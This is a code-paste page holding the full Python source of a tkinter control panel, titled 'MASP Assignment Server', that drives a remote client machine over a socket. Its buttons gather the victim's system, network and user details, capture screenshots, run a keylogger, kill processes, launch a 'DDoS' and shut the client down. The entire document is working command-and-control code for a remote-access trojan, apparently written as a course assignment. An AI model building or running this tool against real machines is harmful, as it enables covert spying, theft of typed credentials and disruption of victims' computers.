Title / Description
Code import socket import threading import json import tkinter as tk from tkinter import ttk, PhotoImage from PIL import Image,ImageTk from socket import gethostname,gethostbyname import time def start_server(): conn, address = server_socket.accept() # accept new connection client.append(conn) receive_thread = threading.Thread(target=receive,args=(conn,)) receive_thread.start() def receive(client_socket): #Handles receiving of messages. BUFSIZ = 16384 while True: msg = client_socket.recv(BUFSIZ) if msg[-13:]==b"{get_os_info}": received_os_info(msg) elif msg[-13:]==b"{get_nc_info}": received_nc_info(msg) elif msg[-15:]==b"{get_user_info}": received_user_info(msg) elif msg[-8:]==b"{keylog}": received_keylog(msg) elif msg[-15:]==b"{get_processes}": received_processes(msg) elif msg[-14:]==b"{get_services}": received_services(msg) elif msg[-6:]==b"{ddos}": received_cpu_usage(msg) else: received_screenshot(msg) def request_info(client,request): conn=client[0] send_instrusion = request.encode('utf-8') conn.send(send_instrusion) def received_os_info(info): info=info.decode("utf-8") info=info[:-13] os_info=info os_info=json.loads(os_info) os_info_label1.configure(text="System: " + os_info[0]) os_info_label2.configure(text="Node: " + os_info[1]) os_info_label3.configure(text="Release: " + os_info[2]) os_info_label4.configure(text="Version: " + os_info[3]) os_info_label5.configure(text="Machine: " + os_info[4]) os_info_label6.configure(text="Processor: " + os_info[5]) def received_nc_info(info): info=info.decode("utf-8") info=info[:-13] nc_info=info nc_info=json.loads(nc_info) nc_info_label1.configure(text="IP address: " + nc_info[0]) nc_info_label2.configure(text="Mac address: " + nc_info[1]) nc_info_label3.configure(text="Netmask: " + nc_info[2]) def received_user_info(info): info=info.decode("utf-8") info=info[:-15] user_info=info user_info=json.loads(user_info) user_info_label1.configure(text="Username: " + user_info[0]) user_info_label2.configure(text="Security Identifier (SID): " + user_info[1]) user_info_label3.configure(text="Last log on: " + user_info[2]) def received_cpu_usage(info): info=info.decode("utf-8") info=info[:-6] cpu_usage=json.loads(info) label_cpu_usage.configure(text='The CPU usage is: '+ str(cpu_usage) +"%") def received_processes(info): for item in tree.get_children(): #tkinter module - column tree.delete(item) #delte the ori data info=info.decode("utf-8") info=info[:-15] processes=info processes=json.loads(processes) for process in processes: tree.insert('', tk.END, values=process) #delete the selected process from the tree column def received_services(info): for item in tree1.get_children(): tree1.delete(item) info=info.decode("utf-8") info=info[:-14] processes=info processes=json.loads(processes) for process in processes: tree1.insert('', tk.END, values=process) #Attack def proc_selected(event): for selected_proc in tree.selection(): dict_proc = tree.item(selected_proc) procname = dict_proc['values'][1] procname="%s{kill_process}"%procname #send to client to execute the function request_info(client,procname) def received_keylog(info): info=info.decode("utf-8") info=info[:-8] if len(info)==3: info=info[1] elif info[:3]=="Key": info=" %s "%info text_keylog.configure(state='normal') text_keylog.insert(tk.END, info) text_keylog.configure(state='disable') def clear_keglog(): text_keylog.configure(state='normal') text_keylog.delete("1.0","end") text_keylog.configure(state='disable') def open_file(): global file, filepath ss_time = int(time.time()) filename = "Screenshot" + str(ss_time) + ".jpg" filepath = r"Screenshot\%s" % filename file = open(filepath, 'wb') def received_screenshot(image_chunk): if len(image_chunk)==16384: file.write(image_chunk) elif len(image_chunk)<16384: file.write(image_chunk) file.close() display_screenshot() def display_screenshot(): image = Image.open(filepath) fixed_height = 420 height_percent = (fixed_height / float(image.size[1])) width_size = int((float(image.size[0]) * float(height_percent))) resized_image = image.resize((width_size, fixed_height), Image.ANTIALIAS) disp_img = ImageTk.PhotoImage(resized_image) label_img.config(image=disp_img) label_img.image=disp_img label_img.grid(row=0,column=0) def clear_screenshot(): label_img.grid_forget() label_text.grid(row=0,column=0) # method to make widget visible def change_tab(frame): if frame=="btn1_frame": btn2_frame.grid_forget() btn3_frame.grid_forget() btn4_frame.grid_forget() btn5_frame.grid_forget() btn6_frame.grid_forget() btn1_frame.grid(row=0,column=1,sticky="nsew") elif frame=="btn2_frame": btn1_frame.grid_forget() btn3_frame.grid_forget() btn4_frame.grid_forget() btn5_frame.grid_forget() btn6_frame.grid_forget() btn2_frame.grid(row=0,column=1,sticky="nsew") elif frame=="btn3_frame": btn1_frame.grid_forget() btn2_frame.grid_forget() btn4_frame.grid_forget() btn5_frame.grid_forget() btn6_frame.grid_forget() btn3_frame.grid(row=0,column=1,sticky="nsew") elif frame=="btn4_frame": btn1_frame.grid_forget() btn2_frame.grid_forget() btn3_frame.grid_forget() btn5_frame.grid_forget() btn6_frame.grid_forget() btn4_frame.grid(row=0,column=1,sticky="nsew") elif frame=="btn5_frame": btn1_frame.grid_forget() btn2_frame.grid_forget() btn3_frame.grid_forget() btn4_frame.grid_forget() btn6_frame.grid_forget() btn5_frame.grid(row=0,column=1,sticky="nsew") elif frame=="btn6_frame": btn1_frame.grid_forget() btn2_frame.grid_forget() btn3_frame.grid_forget() btn4_frame.grid_forget() btn5_frame.grid_forget() btn6_frame.grid(row=0,column=1,sticky="nsew") # Socket Part client=[] message=[] host=gethostbyname(gethostname()) port = 33333 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # get instance IPV4, # The bind() function takes tuple as argument server_socket.bind((host, port)) #bind host address and port together server_socket.listen(2) # configure how many client the server can listen simultaneously ACCEPT_THREAD = threading.Thread(target=start_server) ACCEPT_THREAD.start() # Create window window = tk.Tk() window.title("MASP Assignment Server") # Set the theme window.tk.call("source", "azure.tcl") window.tk.call("set_theme", "dark") # Create style used by default for all Frames s = ttk.Style() s.configure('Frame1.TFrame', background='#262a4b') # Set the minsize of the application window.rowconfigure(0, minsize=600, weight=1) window.columnconfigure(0, minsize=250, weight=1) window.columnconfigure(1, minsize=800, weight=1) # Create a Frame for the Buttons btn_options_frame=ttk.Frame(window,style='Frame1.TFrame') #s.configure('big.TButton', font=(None,15)) #photo1 = PhotoImage(file = r"Icon\get_info.png") #photoimage = photo1.subsample(2,2) #btn1=ttk.Button(btn_options_frame,text="Get Info",image=photoimage,compound = "left",command=lambda: change_tab("btn1_frame")) btn1=ttk.Button(btn_options_frame,text="Get Info",command=lambda: change_tab("btn1_frame")) btn2=ttk.Button(btn_options_frame,text="Screenshot",command=lambda: change_tab("btn2_frame")) btn3=ttk.Button(btn_options_frame,text="Keylogger",command=lambda: change_tab("btn3_frame")) btn4=ttk.Button(btn_options_frame,text="Kill Processes",command=lambda: change_tab("btn4_frame")) btn5=ttk.Button(btn_options_frame,text="DDoS",command=lambda: change_tab("btn5_frame")) btn6=ttk.Button(btn_options_frame,text="Shutdown",command=lambda: change_tab("btn6_frame")) label_server_ip=ttk.Label(btn_options_frame,text="Server IP: "+host,background="#262a4b") btn_options_frame.grid(row=0,column=0,sticky="nsew") btn1.grid(row=0, column=0, sticky="ew", padx=5, pady=5, ipadx=50, ipady=18) btn2.grid(row=1, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20) btn3.grid(row=2, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20) btn4.grid(row=3, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20) btn5.grid(row=4, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20) btn6.grid(row=5, column=0, sticky="ew", padx=5, pady=5, ipadx=70, ipady=20) label_server_ip.grid(row=6, column=0, padx=5, pady=5) ### Create Tab for Button 1 ### Get Info btn1_frame=ttk.Frame(window) btn1_frame.grid(row=0,column=1,sticky="nsew") labelFrame1=ttk.LabelFrame(btn1_frame, text="Operating System Information", padding=(20, 10)) labelFrame2=ttk.LabelFrame(btn1_frame, text="Network Card Information", padding=(20, 10)) labelFrame3=ttk.LabelFrame(btn1_frame, text="User Information", padding=(20, 10)) os_info_button=ttk.Button(btn1_frame,text="Get Info",command=lambda: request_info(client,request="{get_os_info}")) nc_info_button=ttk.Button(btn1_frame,text="Get Info",command=lambda: request_info(client,request="{get_nc_info}")) user_info_button=ttk.Button(btn1_frame,text="Get Info",command=lambda: request_info(client,request="{get_user_info}")) labelFrame1.columnconfigure(0, minsize=300, weight=1) labelFrame1.columnconfigure(1, minsize=400, weight=1) labelFrame2.columnconfigure(0, minsize=300, weight=1) labelFrame2.columnconfigure(1, minsize=400, weight=1) labelFrame3.columnconfigure(0, minsize=300, weight=1) labelFrame3.columnconfigure(1, minsize=400, weight=1) labelFrame1.grid(row=0, column=0, padx=(20, 10), pady=(20, 10), sticky="nsew") os_info_button.grid(row=1,column=0,padx=5, pady=5, sticky="s") labelFrame2.grid(row=2, column=0, padx=(20, 10), pady=(20, 10), sticky="nsew") nc_info_button.grid(row=3,column=0,padx=5, pady=5, sticky="s") labelFrame3.grid(row=4, column=0, padx=(20, 10), pady=(20, 10), sticky="nsew") user_info_button.grid(row=5,column=0,padx=5, pady=5, sticky="s") os_info_label1=ttk.Label(labelFrame1,text="System: ") os_info_label2=ttk.Label(labelFrame1,text="Node: ") os_info_label3=ttk.Label(labelFrame1,text="Release: ") os_info_label4=ttk.Label(labelFrame1,text="Version: ") os_info_label5=ttk.Label(labelFrame1,text="Machine: ") os_info_label6=ttk.Label(labelFrame1,text="Processor: ") os_info_label1.grid(row=0,column=0,padx=5, pady=10, sticky="w") os_info_label2.grid(row=1,column=0,padx=5, pady=10, sticky="w") os_info_label3.grid(row=2,column=0,padx=5, pady=10, sticky="w") os_info_label4.grid(row=0,column=1,padx=5, pady=10, sticky="w") os_info_label5.grid(row=1,column=1,padx=5, pady=10, sticky="w") os_info_label6.grid(row=2,column=1,padx=5, pady=10, sticky="w") nc_info_label1=ttk.Label(labelFrame2,text="IP address: ") nc_info_label2=ttk.Label(labelFrame2,text="Mac address: ") nc_info_label3=ttk.Label(labelFrame2,text="Netmask: ") nc_info_label1.grid(row=0,column=0,padx=5, pady=10, sticky="w") nc_info_label2.grid(row=0,column=1,padx=5, pady=10, sticky="w") nc_info_label3.grid(row=1,column=0,padx=5, pady=10, sticky="w") user_info_label1=ttk.Label(labelFrame3,text="Username: ") user_info_label2=ttk.Label(labelFrame3,text="Security Identifier (SID): ") user_info_label3=ttk.Label(labelFrame3,text="Last log on: ") user_info_label1.grid(row=0,column=0,padx=5, pady=10, sticky="w") user_info_label2.grid(row=0,column=1,padx=5, pady=10, sticky="w") user_info_label3.grid(row=1,column=0,padx=5, pady=10, sticky="w") ### Create Tab for Button 2 ### Screenshot btn2_frame=ttk.Frame(window) frame_img=ttk.Frame(btn2_frame) frame_img.rowconfigure(0, minsize=420, weight=1) frame_img.columnconfigure(0, minsize=800, weight=1) label_text=ttk.Label(frame_img,text="Press the 'Screenshot' button to get the screenshot of the client machine") label_img=ttk.Label(frame_img) frame_under_img_frame=ttk.Frame(btn2_frame) btn_clear=ttk.Button(frame_under_img_frame,text="Clear",command=clear_screenshot) btn_screenshot=ttk.Button(frame_under_img_frame,text="Screenshot",command=lambda: [open_file(),request_info(client,request="{screenshot}")]) frame_img.grid(row=0,column=0) label_img.grid(row=0,column=0) label_text.grid(row=0,column=0) frame_under_img_frame.grid(row=1,column=0) btn_clear.grid(row=0,column=0,padx=5,pady=5) btn_screenshot.grid(row=0,column=1,padx=5,pady=5) ### Create Tab for Button 3 ### Keylogger btn3_frame=ttk.Frame(window) frame_text_keylog=ttk.Frame(btn3_frame) frame_text_keylog.rowconfigure(0, minsize=420, weight=1) frame_text_keylog.columnconfigure(0, minsize=800, weight=1) text_keylog=tk.Text(frame_text_keylog,state="disable") frame_under_text_keylog=ttk.Frame(btn3_frame) btn_start_keylog=ttk.Button(frame_under_text_keylog,text="Start Keylogging",command=lambda: request_info(client,request="{keylog}")) btn_stop_keylog=ttk.Button(frame_under_text_keylog,text="Stop Keylogging",command=lambda: request_info(client,request="{stop_keylog}")) btn_clear_keylog=ttk.Button(frame_under_text_keylog,text="Clear All",command=clear_keglog) frame_text_keylog.grid(row=0,column=0) text_keylog.grid(row=0,column=0,sticky="ew") frame_under_text_keylog.grid(row=1,column=0) btn_start_keylog.grid(row=0,column=0,padx=5,pady=5) btn_stop_keylog.grid(row=0,column=1,padx=5,pady=5) btn_clear_keylog.grid(row=0,column=2,padx=5,pady=5) ### Create Tab for Button 4 ### Kill Processes btn4_frame=ttk.Frame(window) # Processes # define columns columns = ('pid', 'name') tree = ttk.Treeview(btn4_frame, columns=columns, show='headings',height=20) tree.column('pid', width=280, anchor="w") tree.column('name', width=450, anchor="w") # define headings tree.heading('pid', text='PID') tree.heading('name', text='Name') tree.grid(row=0, column=0, sticky='nsew') # add a scrollbar scrollbar = ttk.Scrollbar(btn4_frame, orient=tk.VERTICAL, command=tree.yview) tree.configure(yscroll=scrollbar.set) scrollbar.grid(row=0, column=1, sticky='ns') btn_get_processes=ttk.Button(btn4_frame,text="Get Processes",command=lambda: request_info(client,request="{get_processes}")) btn_get_processes.grid(row=1,column=0,padx=5,pady=5) tree.bind('<Double-1>', proc_selected) # Services # define columns columns1 = ('ServiceName', 'DisplayName') tree1 = ttk.Treeview(btn4_frame, columns=columns1, show='headings',height=5) tree1.column('ServiceName', width=280, anchor="w") tree1.column('DisplayName', width=450, anchor="w") # define headings tree1.heading('ServiceName', text='Service Name') tree1.heading('DisplayName', text='Display Name') tree1.grid(row=2, column=0, sticky='nsew') # add a scrollbar scrollbar1 = ttk.Scrollbar(btn4_frame, orient=tk.VERTICAL, command=tree1.yview) tree1.configure(yscroll=scrollbar1.set) scrollbar1.grid(row=2, column=1, sticky='ns') btn_get_services=ttk.Button(btn4_frame,text="Get Services",command=lambda: request_info(client,request="{get_services}")) btn_get_services.grid(row=3,column=0,padx=5,pady=5) ### Create Tab for Button 5 ### DDoS btn5_frame=ttk.Frame(window) btn5_frame.grid_columnconfigure(0, weight=1) btn5_frame.grid_rowconfigure(0, weight=1) btn5_frame.grid_rowconfigure(1, weight=1) label_cpu_usage=ttk.Label(btn5_frame,text="CPU Usage:") btn_ddos=ttk.Button(btn5_frame,text="Start DDoS",command=lambda: request_info(client,request="{ddos}")) btn_ddos.grid(row=1,column=0,padx=5,pady=5,ipadx=100,ipady=10,sticky="n") label_cpu_usage.grid(row=0,column=0,padx=5,pady=5,ipadx=100,ipady=10,sticky="s") ### Create Tab for Button 6 ### Shutdown btn6_frame=ttk.Frame(window) btn6_frame.grid_columnconfigure(0, weight=1) btn6_frame.grid_rowconfigure(0, weight=1) btn_shutdown=ttk.Button(btn6_frame,text="Shutdown Client",command=lambda: request_info(client,request="{shutdown}")) btn_shutdown.grid(row=0,column=0,padx=5,pady=5,ipadx=100,ipady=10) window.update() window.minsize(window.winfo_width(), window.winfo_height()) x_cordinate = int((window.winfo_screenwidth() / 2) - (window.winfo_width() / 2)) y_cordinate = int((window.winfo_screenheight() / 2) - (window.winfo_height() / 2)) window.geometry("+{}+{}".format(x_cordinate, y_cordinate-20)) window.mainloop()
Author
Highlight as C C++ CSS Clojure Delphi ERb Groovy (beta) HAML HTML JSON Java JavaScript PHP Plain text Python Ruby SQL XML YAML diff code
1.1.2
1.1.2